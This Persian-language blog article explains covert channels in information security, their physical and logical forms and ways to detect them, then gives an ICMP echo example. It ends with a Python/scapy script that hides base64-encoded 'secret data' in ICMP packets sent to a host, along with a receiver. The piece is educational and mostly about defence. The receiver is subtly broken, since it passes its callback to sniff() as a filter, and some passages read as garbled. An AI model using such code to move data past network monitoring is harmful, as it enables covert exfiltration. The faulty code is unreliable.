Covert channel چیست

یک کانال پنهان یا "Covert Channel"، در حوزه امنیت اطلاعات، روشی است برای ارسال اطلاعات بطور پنهانی از طریق زیرساخت یا سیستمی که برای این منظور طراحی نشده است.

انتشار: , زمان مطالعه: 4 دقیقه
Covert channel یا کانال پنهان چیست
دسته بندی: امنیت سایبری تعداد بازدید: 322

Covert channel یا کانال پنهان چیست؟

یک کانال پنهان یا "Covert Channel"، در حوزه امنیت اطلاعات، روشی است برای ارسال اطلاعات بطور پنهانی از طریق زیرساخت یا سیستمی که برای این منظور طراحی نشده است. این کانال‌ها می‌توانند به صورت فیزیکی یا منطقی باشند.

کانال‌های پنهان فیزیکی از پدیده‌های فیزیکی مانند صدا، نور یا حرارت برای انتقال اطلاعات استفاده می‌کنند. به عنوان مثال، یک کامپیوتر می‌تواند از تغییرات در فرکانس صدای فن خنک کننده برای انتقال اطلاعات استفاده کند.

کانال‌های پنهان منطقی از مکانیسم‌های سیستمی برای انتقال اطلاعات استفاده می‌کنند. این می‌تواند شامل استفاده از فیلدهای خاص در پروتکل‌های شبکه یا استفاده از سیگنال‌های عملیاتی سیستم عامل باشد. 

این تکنیک‌ها معمولاً در سناریوهایی مورد استفاده قرار می‌گیرند که دسترسی مستقیم به ارسال یا دریافت اطلاعات محدود یا غیرممکن است، مانند زمانی که سیستم در حال مانیتورینگ یا فیلترینگ ترافیک شبکه است.

کانال‌های پنهان می‌توانند برای انواع مختلفی از امنیت زیر سوال برده شوند، مانند نفوذ به سیستم‌ها، افشای اطلاعات محرمانه، یا حتی عملیات سایبری خصمانه. از آنجا که این کانال‌ها می‌توانند در حدود عرضه و تقاضای معمولی برای ارتباطات قرار بگیرند، شناسایی و جلوگیری از آن‌ها می‌تواند بسیار چالش برانگیز باشد.

برای مقابله با کانال‌های پنهان، می‌توان از روش‌های مختلفی استفاده کرد. برای مثال، تجزیه و تحلیل ترافیک شبکه می‌تواند به شناسایی الگوهای غیرمعمولی که ممکن است نشانه‌ی یک کانال پنهان باشند، کمک کند. همچنین، می‌توان از روش‌های مبتنی بر امضای دیجیتال یا تشخیص نفوذ برای شناسایی تلاش‌های غیرمعمولی برای ارتباط استفاده کرد.

در بعضی از موارد، می‌توان از راهکارهای فیزیکی برای جلوگیری از استفاده از کانال‌های پنهان استفاده کرد. برای مثال، محیط‌هایی که حساسیت بالایی به امنیت دارند ممکن است از جداکننده‌های الکترومغناطیسی یا فضای محافظ برای جلوگیری از ارسال اطلاعات بر روی کانال‌های فیزیکی استفاده کنند.

همچنین، می‌توان از آموزش و آگاهی برای کمک به کاربران در شناسایی و جلوگیری از استفاده از کانال‌های پنهان استفاده کرد. این می‌تواند شامل آموزش در مورد چگونگی تشخیص تلاش‌های غیرمعمولی برای ارتباط یا ارائه اطلاعات در مورد ریسک‌ها و عواقب استفاده از این کانال‌ها باشد.

مثالی از کانال‌های پنهان در شبکه های کامپیوتری در پروتکل ICMP

پروتکل ICMP، یا Internet Control Message Protocol، یکی از پروتکل‌های مهم در سوئیت پروتکل‌های اینترنت است که برای ارسال پیغام‌های خطا یا دیگر حالاتی که نیاز به توجه دارند، استفاده می‌شود. با این حال، ممکن است ICMP برای ایجاد یک کانال پنهان استفاده شود.

به عنوان یک مثال، می‌توانیم نگاهی به پروتکل ICMP Echo (یا ping) بیندازیم. در حالت عادی، ICMP Echo Request به یک میزبان ارسال می‌شود و میزبان پاسخ ICMP Echo Reply را ارسال می‌کند. اما این فیلدها می‌توانند برای انتقال اطلاعات محرمانه استفاده شوند. برای مثال، یک حمله‌کننده می‌تواند داده‌های محرمانه را در فیلد "data" یک پیغام Echo Request قرار دهد و سپس آن را به یک میزبان مقصد ارسال کند.

بسیاری از فایروال‌ها و سیستم‌های تشخیص نفوذ (IDS) به صورت پیش‌فرض ICMP را مجاز می‌کنند، زیرا این پروتکل برای عملکرد صحیح شبکه ضروری است. این باعث می‌شود که ICMP یک کانال پنهان بسیار مؤثر برای انتقال اطلاعات در پیش‌زمینه باشد.

به طور کلی، برای جلوگیری از این نوع کانال‌های پنهان، می‌توان از روش‌هایی مانند تجزیه و تحلیل ترافیک شبکه و یا محدود کردن و کنترل کردن ترافیک ICMP استفاده کرد.

 ایجاد کانال‌های پنهان با پایتون برای ICMP

از پایتون می‌توان برای ایجاد یک کانال پنهان با استفاده از پروتکل ICMP استفاده کرد. در زیر یک نمونه کد ساده برای ارسال و دریافت پیام‌های ICMP با پایتون و کتابخانه scapy نشان داده شده است:

from scapy.all import *
from base64 import b64encode, b64decode

def send_icmp(data, target_ip):
    data_encoded = b64encode(data.encode())
    packet = IP(dst=target_ip)/ICMP()/data_encoded
    send(packet)

def receive_icmp():
    def filter_packet(packet):
        if packet.haslayer(ICMP):
            raw_data = packet[ICMP].load
            data = b64decode(raw_data).decode()
            print("Received data: " + data)

    sniff(filter=filter_packet)

# استفاده:
send_icmp("secret data", "192.168.1.10")
receive_icmp()

 این کد یک پیام ICMP حاوی داده‌های محرمانه را به یک آدرس IP هدف ارسال می‌کند. سپس، کد receive_icmp را برای دریافت و چاپ پیام‌های ICMP مورد استفاده قرار می‌دهد. این کد تنها برای اهداف آموزشی است و نباید برای فعالیت‌های غیرقانونی یا خلاف اخلاق مورد استفاده قرار گیرد.

لطفاً توجه داشته باشید که استفاده از کانال‌های پنهان می‌تواند غیرقانونی باشد و ممکن است منجر به مسائل قانونی یا اخلاقی شود. همیشه باید اطمینان حاصل کنید که از این تکنیک‌ها به طور قانونی و با رعایت حقوق دیگران استفاده می‌کنید.


دیدگاه های مربوط به این مقاله (برای ارسال دیدگاه در سایت حتما باید عضو باشید و پروفایل کاربری شما تکمیل شده باشد)